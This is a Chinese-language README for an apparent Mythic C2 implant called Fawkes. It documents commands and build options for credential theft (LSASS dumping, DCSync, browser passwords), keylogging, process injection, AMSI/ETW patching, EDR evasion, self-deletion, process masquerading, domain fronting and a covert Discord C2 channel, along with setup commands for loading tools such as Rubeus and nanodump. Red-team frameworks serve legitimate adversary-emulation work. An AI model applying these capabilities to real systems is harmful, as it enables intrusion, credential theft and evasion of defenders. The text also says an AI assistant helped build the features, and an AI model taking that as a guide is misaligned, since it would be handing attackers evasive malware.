wlan-profiles | `wlan-profiles [-name <SSID>]` | 恢复已保存的WiFi网络配置文件和凭据。Windows:WLAN API,Linux:NetworkManager/wpa_supplicant/iwd,macOS:钥匙串。跨平台 (T1555)。
write-file | `write-file [-action write\|deface] -path <file> -content <text> [-base64 true] [-append true] [-mkdir true] [-confirm DEFACE]` | 将内容写入文件或篡改网页。`write`:创建/覆盖/追加(默认)。`deface`:用篡改消息替换网页内容 (T1491, 安全门)。跨平台 (T1105, T1491)。
write-memory | `write-memory <dll_name> <function_name> <start_index> <hex_bytes>` | **(仅Windows)** 将字节写入DLL函数地址。
xattr | `xattr -action <list\|get\|set\|delete> -path <file> [-name <attr>] [-value <data>] [-hex true]` | **(仅Linux/macOS)** 管理扩展文件属性——列出、获取、设置、删除。Unix中对Windows ADS的补充,用于数据隐藏 (T1564.004)。## Forge 命令增强
Fawkes 支持 [Mythic Forge](https://github.com/MythicAgents/forge) 命令增强,可动态扩展代理的功能,引入外部工具集合。当 Forge 与 Mythic 一起安装时,Fawkes 回调的 Mythic UI 中会自动出现额外命令,无需重新构建代理。
**支持的工具集合:**
| 集合 | 类型 | 执行方式 | 示例 |
|------------|------|-------------|----------|
| [SharpCollection](https://github.com/Flangvik/SharpCollection) | .NET 程序集 | `inline-assembly` | Seatbelt, SharpUp, Rubeus, Certify, SharpHound, SharpDPAPI |
| [Sliver Armory](https://github.com/MythicAgents/forge) | BOF/COFF 文件 | `inline-execute` | SA-whoami, SA-adcs-enum, SA-ldapsearch, SA-nanodump |
### 设置(全新安装)
**第 1 步:安装 Forge**```bash
cd /path/to/Mythic
sudo ./mythic-cli install github https://github.com/MythicAgents/forge
第二步:将 Fawkes 添加到 Forge 的 payload 类型支持中
编辑 InstalledServices/forge/payload_type_support.json 并将 Fawkes 条目添加到 JSON 数组中:```json
{
"agent": "fawkes",
"bof_command": "inline-execute",
"bof_file_parameter_name": "bof_file",
"bof_argument_array_parameter_name": "coff_arguments",
"bof_entrypoint_parameter_name": "function_name",
"inline_assembly_command": "inline-assembly",
"inline_assembly_file_parameter_name": "assembly_file",
"inline_assembly_argument_parameter_name": "assembly_arguments",
"execute_assembly_command": "",
"execute_assembly_file_parameter_name": "",
"execute_assembly_argument_parameter_name": "",
"assembly_default_execution_method": "inline_assembly"
}
这会将 Forge 的通用参数接口映射到 Fawkes 的特定命令名称和参数名称。字段映射如下:
- `bof_command` → Fawkes 的 `inline-execute` 命令(BOF/COFF 执行)
- `inline_assembly_command` → Fawkes 的 `inline-assembly` 命令(.NET 程序集执行)
- `execute_assembly_command` → 空(Fawkes 对所有 .NET 执行都使用 inline-assembly)
- 参数名称必须与 Fawkes 的 agentfunctions 在 "Forge" 参数组中定义的完全一致
**第三步:重建并重启**```bash
sudo ./mythic-cli build forge
sudo ./mythic-cli restart forge
sudo ./mythic-cli restart fawkes
步骤 4:注册工具源
打开 Mythic UI,使用 forge_register 命令(可在任何回调上使用)注册工具源。常见源包括:
| 源 | 类型 | 提供内容 |
|---|---|---|
| Rubeus | .NET 程序集 | Kerberos 攻击(kerberoasting、票据伪造、委派) |
| Seatbelt | .NET 程序集 | 主机安全调查(权限、凭据、配置) |
| Certify | .NET 程序集 | AD 证书服务枚举与滥用 |
| SharpHound | .NET 程序集 | BloodHound 数据收集 |
| SharpUp | .NET 程序集 | 本地权限提升检查 |
| SharpView | .NET 程序集 | Active Directory 枚举(PowerView 移植版) |
| nanodump | BOF | 通过 MiniDumpWriteDump 进行 LSASS 内存转储 |
| credman | BOF | Windows 凭据管理器收集 |
注册源时,运行 forge_register,并将 commandName 设置为纯源名称(例如 Rubeus,而不是 forge_net_Rubeus),remove 设置为 false。
注册后,Forge 会下载工具二进制文件并创建增强命令(例如 forge_net_Rubeus、forge_bof_nanodump),这些命令会出现在回调的命令列表中。
步骤 5:验证
现有回调会自动看到 Forge 命令——无需新 Payload。通过运行已注册的工具进行测试:
- 先运行
autopatch或start-clr(针对 .NET 工具进行 AMSI 修补) - 选择一个 Forge 命令(例如
forge_net_Seatbelt) - 输入参数(例如
-group=system) - 执行——Forge 会将命令转换为带有嵌入式工具二进制文件的
inline-assembly
使用技巧
- 对于 .NET 工具(SharpCollection),先运行
start-clr并开启 autopatch 来初始化 CLR 并修补 AMSI——否则 Windows Defender 可能会阻止程序集执行 - 对于 BOF 工具(Sliver Armory),确保 BOF 已针对 x64 编译
- 无需特殊构建参数——Fawkes 的
inline-execute和inline-assembly命令已内置 Forge 支持,通过“Forge”参数组实现 - Forge 命令可在现有回调上工作,无需重建 Agent
- 通过 API 发出 Forge 命令时,请在
createTask变更中包含payload_type: "forge"——否则 Mythic 只会在回调自身的 Payload 类型中搜索
注入技术
PoolParty 注入
| 变体 | 技术 | 触发器 | Go Shellcode |
|---|---|---|---|
| 1 | Worker Factory 启动例程覆盖 | 新工作线程创建 | 否 |
| 2 | TP_WORK 插入 | 任务队列处理 | 是 |
| 3 | TP_WAIT 插入 | 事件信号 | 是 |
| 4 | TP_IO 插入 | 文件 I/O 完成 | 是 |
| 5 | TP_ALPC 插入 | ALPC 端口消息传递 | 是 |
| 6 | TP_JOB 插入 | 作业对象分配 | 是 |
| 7 | TP_DIRECT 插入 | I/O 完成端口 | 是 |
| 8 | TP_TIMER 插入 | 定时器到期 | 是 |
Opus 注入
| 变体 | 技术 | 目标 | Go Shellcode |
|---|---|---|---|
| 1 | Ctrl-C 处理程序链 | 仅控制台进程 | 否 |
| 4 | PEB KernelCallbackTable | 仅 GUI 进程 | 是 |
详细变体描述请参见注入技术详情。
构建选项
DLL 导出方法
在shared(DLL)或windows-shellcode模式下构建时,dll_exports 构建参数控制包含哪些 DLL 导出:
| 设置 | 导出 | 使用场景 |
|---|---|---|
standard(默认) | Run, Fire, VoidFunc | sRDI shellcode、rundll32、通用加载器 |
full | Standard + DllRegisterServer, DllUnregisterServer, ServiceMain, DllGetClassObject, DllCanUnloadNow | regsvr32、svchost 服务、COM 劫持 |
具有完整导出的执行方法:
| 导出 | 执行 | MITRE |
|---|---|---|
DllRegisterServer | regsvr32 /s fawkes.dll | T1218.010 |
DllUnregisterServer | regsvr32 /u /s fawkes.dll | T1218.010 |
ServiceMain | svchost.exe DLL 服务(仅 Windows) | T1543.003 |
DllGetClassObject + DllCanUnloadNow | COM 劫持 InprocServer32 | T1546.015 |
二进制膨胀
Fawkes 支持在构建时可选的二进制膨胀。这会在编译后的 Agent 中嵌入一个重复字节块,可用于增加文件大小或降低熵值。
两个构建参数控制此功能:
- inflate_bytes - 要嵌入的十六进制字节(例如
0x90或0x41,0x42) - inflate_count - 重复字节模式的次数
字节模式重复 inflate_count 次,因此总增加大小为 length(byte_pattern) * inflate_count。
快速参考大小:
| inflate_count | 单字节(例如 0x90) | 双字节(例如 0x41,0x42) |
|---|---|---|
| 1,000 | 1 KB | 2 KB |
| 10,000 | 10 KB | 20 KB |
| 100,000 | 100 KB | 200 KB |
| 1,000,000 | 1 MB | 2 MB |
| 3,000,000 | 3 MB | 6 MB |
| 10,000,000 | 10 MB | 20 MB |
未配置膨胀时,二进制文件仅增加 1 字节开销。
PE 资源嵌入(仅 Windows)
Windows PE 二进制文件包含元数据资源——版本信息、图标和 UAC 清单——这些在文件属性、任务管理器和资源管理器中可见。默认的 Go 二进制文件没有任何这些元数据,这对安全工具和分析师来说是一个强烈的检测信号。
Fawkes 支持在构建时嵌入 PE 资源,以模拟合法的 Windows 二进制文件:
构建参数:
| 参数 | 类型 | 描述 |
|---|---|---|
pe_preset | 选择 | 快速模拟预设(notepad、svchost、cmd、explorer 等) |
pe_company | 字符串 | CompanyName(例如 "Microsoft Corporation") |
pe_description | 字符串 | FileDescription——在任务管理器中可见 |
pe_product | 字符串 | ProductName |
pe_version | 字符串 | 文件/产品版本(例如 "10.0.19041.1") |
pe_copyright | 字符串 | LegalCopyright |
pe_original_filename | 字符串 | OriginalFilename——对取证工具可见 |
pe_icon | 文件 | 自定义 .ico 或 .png 图标文件 |
pe_manifest | 选择 | UAC 级别:asInvoker、highestAvailable、requireAdministrator |
预设(10 个常见的带有真实版本信息的 Windows 二进制文件):
notepad, svchost, cmd, explorer, msiexec, dllhost, rundll32, conhost, taskhostw, RuntimeBroker
单独字段会覆盖预设值。未设置 PE 资源参数时,二进制文件保持默认 Go 输出不变。
OPSEC 功能
工件跟踪
Fawkes 自动为与 OPSEC 相关的命令向 Mythic 注册工件。工件出现在 Mythic UI 的 Artifacts 选项卡下,让操作员清晰了解在交战中产生的所有取证指标。
跟踪的工件类型:
| 类型 | 命令 |
|---|---|
| 进程创建 | run, powershell, spawn, argue |
| API 调用 | net-enum, net-user, service, wmi, schtask, procdump, hashdump, eventlog, ntdll-unhook, syscalls, firewall, dcom, vss (create/delete), psexec |
| 进程终止 | kill |
| 进程注入 | vanilla-injection, apc-injection, threadless-inject, poolparty-injection, opus-injection, module-stomp, thread-hijack |
| 文件写入 | upload, cp, mv |
| 文件创建 | mkdir |
| 文件删除 | rm |
| 文件修改 | timestomp |
| 注册表写入 | reg (write/delete), remote-reg (set/delete), persist (registry, com-hijack, screensaver methods), uac-bypass, defender (add/remove-exclusion) |
| 注册表保存 | reg (save/creds) |
| 远程注册表 | remote-reg (query/enum/set/delete via WinReg RPC) |
| 远程服务 | remote-service (list/query/create/start/stop/delete/modify-path/trigger/dll-sideload via SVCCTL RPC) |
| 登录 | make-token |
| 令牌窃取 | steal-token, getsystem |
只读命令(ls, ps, cat, env 等)不会生成工件。
凭据库集成
凭据收集命令会自动将发现结果报告给 Mythic 的 Credentials 存储,使其可在 Mythic UI 中搜索和导出。
| 命令 | 凭据类型 | 报告内容 |
|---|---|---|
| hashdump | hash | SAM NTLM 哈希(Windows),来自现场 LSASS 遍历的 MSV1_0 NT/LM/SHA 哈希(Windows, insitu-full),.kirbi 格式的 Kerberos TGT 和服务票据(Windows, tickets),/etc/shadow 哈希(Linux),PBKDF2 哈希(macOS) |
| kerberoast | hash | 用于离线破解的 TGS 票据 |
| asrep-roast | hash | AS-REP 哈希 |
| dcsync | hash | 通过 DRSGetNCChanges 获取的 NTLM + AES 密钥 |
| lsa-secrets | 明文/哈希/密钥 | 服务密码、缓存的凭据、DPAPI 密钥 |
| laps | 明文 | LAPS v1 & v2 密码 |
| gpp-password | 明文 | 来自 SYSVOL 的 GPP 加密密码 |
| browser | 明文 | Chrome/Edge/Firefox 保存的密码(所有平台)、cookies(所有平台)、历史记录、自动填充、书签 |
| dpapi | 明文/哈希 | DPAPI 保护的秘密 |
| credman | 明文 | 凭据管理器条目(转储操作时) |
| make-token | 明文 | 用于令牌创建的凭据 |
| cred-harvest | 哈希/明文/令牌 | 影子哈希、云环境变量、敏感环境变量、M365 OAuth/JWT 令牌、通过 CDP 的实时浏览器 cookies/存储 |
| credential-prompt | 明文 | 对话框捕获的凭据(macOS/Windows/Linux) |
键盘记录跟踪
keylog 命令与 Mythic 的 Keylogs 功能集成。当通过 stop 或 dump 返回按键时,它们会按窗口标题自动解析,并带有用户归属发送到 Mythic 的键盘记录跟踪器。按键记录可在 Mythic UI 中按窗口标题、用户或按键内容搜索。
令牌跟踪
make-token 和 steal-token 命令将令牌注册到 Mythic 的 Callback Tokens 跟踪器。这提供了每个回调关联令牌的可视性,包括模拟的用户身份和源进程。rev2self 命令在取消模拟时自动移除跟踪的令牌。
TLS 证书验证
控制 Agent 在与 C2 服务器通信时如何验证 HTTPS 证书。通过构建时的 tls_verify 参数配置:
| 模式 | 描述 |
|---|---|
none | 跳过所有 TLS 验证(默认,向后兼容) |
system-ca | 根据操作系统信任存储验证证书 |
pinned:<sha256> | 固定到特定证书指纹(SHA-256 十六进制)。如果服务器证书不匹配,Agent 拒绝连接。 |
证书固定可防止即使在攻击者控制受信任 CA 的情况下,Agent 流量被 MITM 拦截。
TLS 指纹欺骗 (JA3)
Go 的标准 TLS 栈会产生独特的 JA3 哈希,网络安全工具可将其识别为非浏览器流量。tls_fingerprint 构建参数使用 uTLS 来欺骗 TLS ClientHello,产生与浏览器匹配的 JA3 指纹。
| 指纹 | 描述 |
|---|---|
chrome | Chrome/Chromium(默认)——最常见的浏览器,最适合混入 |
firefox | Firefox |
safari | Safari |
edge | Microsoft Edge |
rotate | 每次连接随机选择 Chrome/Firefox/Safari/Edge(防止 JA3 关联) |
random | 完全随机化的指纹(不与浏览器匹配) |
go | 无欺骗——使用 Go 的默认 TLS 栈 |
双向 TLS (mTLS) 客户端证书认证
为 HTTP C2 配置文件添加客户端证书认证。配置后,Agent 在 TLS 握手期间提供客户端证书,使 C2 服务器能够验证 Agent 身份。这可以防止被动 HTTPS 拦截和代理 MITM 攻击。
| 参数 | 描述 |
|---|---|
mtls_cert | PEM 编码的客户端证书 |
mtls_key | PEM 编码的客户端私钥 |
证书/密钥在构建时进行 base64 编码,如果启用了字符串混淆,则进行 XOR 加密,并在运行时存储在 AES-256-GCM 配置库中。与现有的 TLS 验证模式和 JA3 指纹欺骗结合使用。
备用 C2 URL
多个 C2 回调 URL,支持自动故障转移。如果主回调主机不可达,Agent 会在应用退避算法之前透明地循环备用 URL。
| 参数 | 描述 |
|---|---|
fallback_hosts | 逗号分隔的备用 C2 主机(例如 http://backup1.example.com,https://backup2.example.com) |
端口和加密与主 URL 相同。记住最后一个成功的 URL。与配置库和 XOR 混淆一起工作。
环境密钥 / 护栏
防止 Agent 在未经授权的系统上执行。在构建时配置——如果检查失败,Agent 在做出任何网络联系前静默退出。无日志记录,无工件,无 C2 流量。
| 参数 | 类型 | 描述 |
|---|---|---|
env_key_hostname | 正则表达式 | 主机名必须匹配(例如 WORKSTATION-\d+ 或 .*\.contoso\.com) |
env_key_domain | 正则表达式 | 域必须匹配(例如 CONTOSO 或 .*\.local) |
env_key_username | 正则表达式 | 用户名必须匹配(例如 admin.* 或 svc_.*) |
env_key_process | 字符串 | 必须正在运行的进程名称(例如 outlook.exe) |
env_key_cpuid | 正则表达式 | CPU 品牌字符串必须匹配(例如 .*Intel.*i7-12700.* 或 .*AMD.*5950X.*)。阻止在执行 CPU 型号不同的沙箱中执行。 |
env_key_derive | 选择 | 使用从目标主机属性派生的密钥加密 C2 配置。选项:hostname, domain, username, hostname+domain, hostname+domain+username。错误主机 = AES 解密失败 = 静默退出。比正则匹配更强——配置值在二进制文件中永远不出现。 |
所有模式都不区分大小写,并锚定以匹配完整值。多个密钥可组合——所有都必须通过。无效的正则模式会导致失败关闭(Agent 退出)。留空以跳过检查。
环境密钥派生 (env_key_derive): 设置后,所有敏感的 C2 配置(回调主机、UUID、加密密钥、URI、代理设置等)在构建时使用从目标环境派生的密钥进行 AES-256-GCM 加密。运行时,Agent 从自身环境重新派生密钥——如果不匹配(错误的主机/域/用户),解密失败,Agent 静默退出。这比正则匹配更强,因为配置值以任何形式都不会出现在二进制文件中。需要相应的 env_key_* 值包含确切的目标值(而非正则模式)。与 obfuscate_strings 叠加(先应用 XOR 层,然后是 AES-GCM)。
C2 字符串混淆
启用 obfuscate_strings 构建参数可在构建时使用每个构建随机的 32 字节密钥对所有 C2 配置字符串(回调主机、URI、用户代理、加密密钥、UUID)进行 XOR 编码。防止通过 strings 从二进制文件中提取简单 IOC。运行时解码。跨平台。
子进程 BlockDLLs
启用 block_dlls 构建参数可将 PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 应用于 Agent 生成的所有子进程(run、powershell 命令)。防止 EDR 将监控 DLL 注入到生成的进程中。使用 STARTUPINFOEX 搭配 UpdateProcThreadAttribute。仅 Windows。
子进程父 PID 欺骗
在运行时通过 config -action set -key default_ppid -value <PID> 设置,使所有子进程(run、powershell)看起来像是合法进程的子进程(例如 explorer.exe)。通过 EDR 破坏父-子进程关系检测。与 BlockDLLs 同时激活时组合使用。使用 UpdateProcThreadAttribute(PROC_THREAD_ATTRIBUTE_PARENT_PROCESS)。使用 config -action set -key default_ppid -value 0 禁用。仅 Windows (T1134.004)。
自动修补 ETW/AMSI
启用 auto_patch 构建参数可在 Agent 启动时自动修补 EtwEventWrite 和 AmsiScanBuffer。这可以在任何 Agent 活动发生之前防止基于 ETW 的检测和 AMSI 扫描——无需手动命令。仅 Windows(在 Linux/macOS 上无效)。
自删除
通过 self_delete 构建参数在启动时启用自动二进制文件删除。Agent 开始运行后,会从磁盘上移除自身文件——消除主要取证工件。
- Linux/macOS:使用
os.Remove()——运行中的进程通过内存中的 inode 映射继续执行。文件立即从磁盘消失。 - Windows:使用 NTFS 流重命名技术——重命名默认的
:$DATA流,然后删除文件条目。不生成子进程。
二进制文件在环境密钥检查通过之后、网络活动开始之前被删除。
进程伪装 (Linux)
设置 masquerade_name 构建参数可更改 Linux 上 Agent 的进程名称。使用 prctl(PR_SET_NAME) 修改 /proc/self/comm,由 ps、top 和 htop 显示。最大 15 个字符。
有用的名称:[kworker/0:1]、[migration/0]、sshd、apache2、[rcu_preempt]
结合自删除,Agent 看起来像一个合法的内核线程或服务,磁盘上没有文件。
睡眠内存保护页
启用 sleep_guard_pages(需要 sleep_mask=true)可在睡眠周期中对加密的库内存应用 VirtualProtect(PAGE_NOACCESS)。睡眠掩码加密敏感数据(AES-256-GCM)并将原始数据清零后,保护页将库移动到专用的 VirtualAlloc 内存并标记为 NO_ACCESS。EDR 内存扫描器、ReadProcessMemory、WinDbg 和 Process Hacker 在尝试读取库时会收到 STATUS_ACCESS_VIOLATION。唤醒后,页面在解密前恢复为 PAGE_READWRITE。在 Linux/macOS 上,保护页使用 mmap(MAP_ANON) + mprotect(PROT_NONE)——探测会触发 SIGSEGV。
睡眠库密钥通过 HKDF-SHA256 绑定硬件:随机种子与机器 CPU 品牌字符串和 UUID 的 SHA-256 哈希混合。如果有人从内存转储中提取库 blob 并尝试在不同硬件上解密,密钥派生会产生不同的密钥。
调用栈欺骗
启用 stack_spoof 可欺骗睡眠线程的调用栈,击败 EDR 线程扫描工具(Hunt-Sleeping-Beacons、Moneta、CrowdStrike)。
- Windows(需要
indirect_syscalls=true):专用原生线程执行NtDelayExecution,带有指向kernel32!SleepEx、kernel32!BaseThreadInitThunk和ntdll!RtlUserThreadStart的虚假返回地址——EDR 期望的标准线程初始化链。 - Linux amd64:通过
clone(CLONE_VM)创建子进程,在匿名 mmap 内存中拥有自己的 291 字节机器码桩。子进程通过原始系统调用直接调用nanosleep——睡眠线程的栈上不出现 Go 运行时或 Agent 代码地址。子进程中的信号处理程序重置为 SIG_DFL,PR_SET_PDEATHSIG确保父进程退出时子进程死亡。 - macOS arm64:使用 140 字节 ARM64 机器码桩在匿名 mmap 内存中生成原生 pthread。线程使用
__ulock_wait/__ulock_wake与 Go 运行时同步,并通过原始系统调用调用nanosleep——睡眠线程的栈仅显示匿名桩和内核帧,没有 Go 运行时或 Agent 代码。
自定义 HTTP 头
Mythic HTTP C2 配置文件定义的所有头部都应用于每个请求。除了 User-Agent(始终支持),操作员可以添加诸如 Accept-Language、Referer、Cookie 或 X-Forwarded-For 等头部,以将 C2 流量混入合法 Web 流量模式中。
域名前置
设置 host_header 构建参数可覆盖 HTTP Host 头。这实现了域名前置:通过 CDN(例如 CloudFront、Azure CDN)路由流量,同时 Host 头指向您的实际 C2 域名。对网络防御者来说,流量看起来是流向 CDN 的 IP 地址。
代理支持
设置 proxy_url 构建参数可通过 HTTP 或 SOCKS 代理路由 Agent 流量。适用于在具有强制代理服务器的企业网络中操作。Examples: http://proxy.corp.local:8080, socks5://127.0.0.1:1080
已验证代理: 设置 proxy_user 和 proxy_pass 以进行基本认证。对于需要 Windows 域认证的企业代理,还需设置 proxy_domain(例如 CORP)以启用 NTLM 认证。在建立 CONNECT 隧道期间,NTLM 握手(Type1→Type2→Type3)会自动执行。
系统代理检测(Windows): 当未设置 proxy_url 时,代理会查询 WinHTTP 以获取系统代理设置,包括 PAC/WPAD 自动检测。
构建路径剥离(-trimpath)
所有构建均使用 Go 的 -trimpath 标志来从编译后的二进制文件中剥离本地文件系统路径。没有这个标志,像 /home/user/project/... 和 /go/pkg/mod/... 这样的路径会通过 panic 跟踪和运行时元数据泄露到二进制文件中。结合 -s -w(符号剥离)和空的 -buildid,这最大程度地减少了二进制文件中的取证信息。Garble 构建已经处理了这一点;-trimpath 覆盖非 Garble 构建。
YARA 构建后扫描
编译后,构建的有效载荷会自动针对一组模拟常见防御者检测模式的 YARA 规则进行扫描。结果会在 Mythic 构建输出中显示为一个信息步骤——扫描绝不会导致构建失败。
检测的类别:
- Go 二进制文件识别和符号泄露
- 泄露的构建/开发路径
- Mythic/C2 框架字符串指示器
- Windows 注入 API 名称
- 凭据访问 API 名称
- 防御规避 API 模式
- 持久化机制字符串
- 明文 C2 配置
这有助于操作员了解检测风险,并在部署前选择适当的操作安全选项(garble、obfuscate_strings 等)。
支持的 C2 配置文件
HTTP 配置文件
HTTP 配置文件通过基本的非动态配置文件回连到 Mythic 服务器。这是默认的出站配置文件——代理通过 HTTP/HTTPS 轮询 Mythic 以获取任务。
可塑特性:
- URI 随机化:
get_uri和post_uri支持令牌,这些令牌在每个请求时解析:{rand:N}— N 个随机十六进制字符(例如/api/{rand:8}→/api/a3f82b1c){int:M-N}— 范围内的随机整数(例如/v{int:1-3}/status→/v2/status)
- Content-Type 轮换: 将
content_types构建参数设置为逗号分隔的列表(例如application/json,text/plain,application/x-www-form-urlencoded)。代理以轮询方式循环使用它们。默认值:application/x-www-form-urlencoded。 - User-Agent 轮换: 将
user_agent_pool构建参数设置为换行符分隔的 User-Agent 字符串列表。代理在每个请求时轮换使用它们,从而消除静态 UA 指纹。默认值:单个 Chrome 134 UA。 - 指数退避: 在连续 C2 失败时,代理会将休眠间隔加倍(上限为 5 分钟)。成功联系后恢复为正常间隔。
- TLS 指纹: 伪造浏览器 JA3 指纹(
chrome、firefox、safari、edge、rotate、random)。 - HTTP/2 多路复用: 通过 HTTPS 自动协商 h2。在单个连接上多路复用请求,匹配浏览器行为。透明 h1 回退。
- 前向保密: 每 N 次签到(
key_rotation_interval)进行 ECDH X25519 密钥轮换。通过 HKDF-SHA256 派生新的 AES-256 密钥,并归零旧密钥。限制密钥泄露的爆炸半径。 - 重放保护: 每条消息中的单调递增序列号(在加密信封内)。防止捕获的请求/响应重放。
- 双向 TLS (mTLS): 客户端证书认证防止被动拦截和代理中间人攻击 (T1573.002)。
- 域名前置: 设置
host_header以覆盖 HTTP Host 头。 - 自动故障转移: 配置
fallback_hosts以实现弹性 C2。
TCP P2P 配置文件
TCP 配置文件支持点对点 (P2P) 代理链接,用于内部横向移动。子代理在 TCP 端口或 Windows 命名管道上监听,并等待父代理通过 link 命令连接。所有任务和响应都通过父代理的出站通道 (HTTP) 路由,因此子代理从不直接联系 Mythic。
架构:``` Mythic Server ←──HTTP──→ Egress Agent (HTTP profile) │ ├──TCP──→ Child Agent A (TCP profile, port 7777) ├──TCP──→ Child Agent B (TCP profile, port 8888) └──SMB──→ Child Agent C (named pipe, \host\pipe\msrpc-f9a1)
**构建参数:**
| 参数 | 描述 | 默认值 |
|-----------|-------------|---------|
| `tcp_bind_address` | 子节点监听的地址和端口(例如 `0.0.0.0:7777`) | _(空 = HTTP 模式)_ |
| `namedpipe_bind_name` | 子节点监听的命名管道名称(例如 `msrpc-f9a1`)。仅 Windows。 | _(空)_ |
当设置了 `tcp_bind_address` 或 `namedpipe_bind_name` 时,代理会以 P2P 监听模式启动,而非 HTTP 出口模式。
**使用流程(TCP):**
1. 构建一个 **子代理**,使用 TCP C2 配置文件并设置 `tcp_bind_address`(例如 `0.0.0.0:7777`)
2. 将子代理部署到内部主机(无需互联网访问)
3. 从 **出口代理**(HTTP 配置文件)运行:`link -host <child_ip> -port 7777`
4. Mythic 为子代理创建一个新的回调——所有任务都通过出口代理流动
5. 断开连接:`unlink -connection_id <uuid>`
**使用流程(命名管道):**
1. 构建一个 **子代理**,使用 TCP C2 配置文件并设置 `namedpipe_bind_name`(例如 `msrpc-f9a1`)
2. 将子代理部署到内部 Windows 主机
3. 从 **出口代理** 运行:`link -connection_type namedpipe -host <child_ip> -pipe_name msrpc-f9a1`
4. 连接使用 SMB(端口 445),与正常的 Windows 文件共享流量混合
5. 断开连接:`unlink -connection_id <uuid>`
**加密:** AES-256-CBC 搭配 HMAC-SHA256(与 HTTP 配置文件相同)。线路协议使用 4 字节长度前缀帧格式,通过 TCP 或命名管道传输。
**重新连接支持:** 如果父代理断开连接(例如通过 `unlink` 或父代理死亡),子代理会缓存其签入数据并等待新的父连接。当新的出口代理运行 `link` 时,子代理会自动重新注册到 Mythic 作为新的回调。无需手动干预。
**多个子代理:** 一个出口代理可以同时连接到多个 TCP 和命名管道子代理。每个子代理独立运行,拥有自己的回调。
**OPSEC 说明:** 命名管道连接使用 SMB(端口 445),与原始 TCP 相比,生成的网络层面指标更少,但如果进行了配置,Sysmon 事件 ID 17/18(PipeEvent)和来自 Microsoft-Windows-SMBClient 的 ETW 事件将被记录。
### Discord C2 配置文件
Discord 配置文件使用 Discord 机器人和频道作为隐蔽的 C2 传输通道。代理通过向 Discord 频道发布加密消息与 Mythic 通信,服务器端的机器人通过 gRPC 推送 C2 将这些消息中继到 Mythic。
**架构:**```
Fawkes Agent ──Discord REST API──→ Discord Channel ←──Bot──→ Discord C2 Server ──gRPC──→ Mythic
工作原理:
- 签到: Agent 向 Discord 频道发送加密的签到消息。服务端机器人捕获该消息,转发给 Mythic,并将响应发布回频道。Agent 持续轮询直至找到响应。
- 任务推送: Agent 通过 Discord 发送
get_tasking请求。使用推送 C2 时,任务也可能独立推送到频道。Agent 在每个轮询周期收集所有匹配的消息。 - 响应: Agent 将任务输出发布到频道。较大的响应(超过 1950 个字符)会作为文件附件发送。
构建参数:
| 参数 | 类型 | 描述 | 默认值 |
|---|---|---|---|
discord_token | 字符串 | 用于 API 认证的 Discord 机器人令牌 | (必填) |
bot_channel | 字符串 | 用于消息交换的 Discord 频道 ID | (必填) |
callback_interval | 字符串 | 任务轮询间隔(秒) | 10 |
callback_jitter | 字符串 | 抖动百分比(0-100) | 23 |
message_checks | 字符串 | 每次交换的最大轮询尝试次数 | 20 |
time_between_checks | 字符串 | 轮询尝试之间的间隔(秒) | 5 |
AESPSK | 字符串 | 预共享的 AES-256 加密密钥 | (自动生成) |
加密: AES-256-CBC + HMAC-SHA256(与 HTTP 配置文件相同的方案)。敏感配置(机器人令牌、频道 ID)在初始化后使用 AES-256-GCM 保险库加密存储于内存中。
推送 C2 支持: Discord C2 服务器使用 Mythic 的推送 C2(持久 gRPC 流)。任务可能在轮询周期之间异步到达。Agent 实现:
- 预轮询扫描,以捕获之前周期中的推送任务
- 追赶轮询(首次匹配后额外进行 3 次轮询)以实现快速任务交付
- 在临时故障时重试 PostResponse
速率限制: 遵守 Discord API 速率限制,自动重试并采用指数退避(最多 5 次重试)。User-Agent 硬编码为 DiscordBot (https://github.com, 1.0),符合 Discord API 要求。
设置前提条件:
- 在 discord.com/developers 创建一个 Discord 机器人
- 启用机器人的消息内容意图(Message Content intent)
- 将机器人添加到服务器,并赋予权限:发送消息、读取消息历史、附加文件、管理消息
- 记下机器人令牌和目标频道 ID
- 在 Discord C2 服务器容器的
config.json中配置相同的机器人令牌和频道 ID
已知限制:
- 当推送 C2 流处于活动状态时,Mythic 中的“最后签到”显示为“流式传输中”(推送 C2 模式固有特性)。Agent 不活跃约 180 秒后,Mythic 会显示真实的最后活动时间戳。
- 在高频任务下,Discord API 速率限制可能导致延迟
- 机器人令牌是关键的 OPSEC 资产——泄露会暴露 C2 通道
- 消息大小限制:内联约 1950 个字符,更大负载使用文件附件
致谢
我对 Mythic Agent 的所有了解都来自 Mythic 文档,或从 Merlin 和 Freyja Agent 中借鉴代码和思路。
之后,我一直在向 Claude 提供 PoC 链接并索要酷炫的功能。听起来很疯狂,对吧?
技术与参考
- 无线程注入(Threadless Injection) - CCob 的 ThreadlessInject(原始 C# 实现)和 dreamkinn 的 go-ThreadlessInject(Go 移植版)
- sRDI(Shellcode 反射式 DLL 注入) - Merlin 基于 Go 的 sRDI 实现,最初基于 Nick Landers(monoxgas)的 sRDI
- PoolParty 注入 - SafeBreach Labs 的 PoolParty 研究(原始 C++ PoC) - 变体详情
- Opus 注入 - 基于回调的注入技术 - 变体详情
- 凤凰图标来自 OpenClipart